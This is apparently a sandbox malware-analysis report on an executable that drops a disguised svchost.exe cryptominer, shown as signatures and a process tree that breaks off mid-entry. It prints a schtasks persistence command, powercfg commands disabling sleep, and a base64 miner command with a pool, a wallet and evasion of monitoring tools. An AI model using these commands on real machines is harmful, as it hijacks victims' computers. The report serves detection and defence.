Overview

overview

10

Static

static

3

2026-07-10...om.exe

windows10-2004-x64

10

2026-07-10...om.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 08:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-10_11c953afa3581506f2bfadac0e190a32_cobalt-strike_icedid_njrat_satacom.exe
  • Size 7.7MB
  • Sample260710-j7fb8shs2w
  • SHA256 4a875e92473cf381b7bd57edb677b8558321a75178f998b4dd08cd3d15e49840
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionxmrigminerpersistence

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 50 IoCs
    miner
  • Executes dropped EXE 49 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Suspicious use of SetThreadContext 45 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 23 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-10_11c953afa3581506f2bfadac0e190a32_cobalt-strike_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-10_11c953afa3581506f2bfadac0e190a32_cobalt-strike_icedid_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5408
    • C:\Users\Admin\AppData\Local\Temp\winupdate.exe
      "C:\Users\Admin\AppData\Local\Temp\winupdate.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /sc onlogon /tn "Updater" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe" /rl HIGHEST /ru SYSTEM /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4404
      • C:\Windows\system32\powercfg.exe
        /x -hibernate-timeout-ac 0
        3⤵
        • Power Settings
        PID:4836
      • C:\Windows\system32\powercfg.exe
        /x -hibernate-timeout-dc 0
        3⤵
        • Power Settings
        PID:4328
      • C:\Windows\system32\powercfg.exe
        /x -standby-timeout-ac 0
        3⤵
        • Power Settings
        PID:4120
      • C:\Windows\system32\powercfg.exe
        /x -standby-timeout-dc 0
        3⤵
        • Power Settings
        PID:2952
      • C:\Windows\system32\conhost.exe
        conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3036
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        3⤵
        • Adds Run key to start application
        PID:2988
  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\system32\conhost.exe
      conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5788
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6116
      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1076
        • C:\Windows\system32\conhost.exe
          conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2520
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:5732
            • C:\Windows\system32\conhost.exe
              conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:3588
            • C:\Windows\system32\conhost.exe
              C:\Windows\system32\conhost.exe
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:908
              • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:6136
                • C:\Windows\system32\conhost.exe
                  conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                  8⤵
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:5916
                • C:\Windows\system32\conhost.exe
                  C:\Windows\system32\conhost.exe
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3520
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:1484
                    • C:\Windows\system32\conhost.exe
                      conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                      10⤵
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:2272
                    • C:\Windows\system32\conhost.exe
                      C:\Windows\system32\conhost.exe
                      10⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4188
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        11⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:5660
                        • C:\Windows\system32\conhost.exe
                          conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                          12⤵
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          PID:2332
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe
                          12⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1092
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            13⤵
                            • Executes dropped EXE
                            PID:5032
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            13⤵
                            • Executes dropped EXE
                            PID:4516
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            13⤵
                            • Executes dropped EXE
                            PID:5868
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        11⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:2144
                        • C:\Windows\system32\conhost.exe
                          conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                          12⤵
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          PID:2696
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe
                          12⤵
                            PID:4948
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                              13⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:4840
                              • C:\Windows\system32\conhost.exe
                                conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                14⤵
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                PID:352
                              • C:\Windows\system32\conhost.exe
                                C:\Windows\system32\conhost.exe
                                14⤵
                                  PID:3740
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                13⤵
                                • Executes dropped EXE
                                PID:2216
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            11⤵
                            • Executes dropped EXE
                            PID:5716
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            11⤵
                            • Executes dropped EXE
                            PID:3368
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        9⤵
                        • Executes dropped EXE
                        PID:3932
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        9⤵
                        • Executes dropped EXE
                        PID:4372
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        9⤵
                        • Executes dropped EXE
                        PID:2704
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:4116
                    • C:\Windows\system32\conhost.exe
                      conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                      8⤵
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:2952
                    • C:\Windows\system32\conhost.exe
                      C:\Windows\system32\conhost.exe
                      8⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5228
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
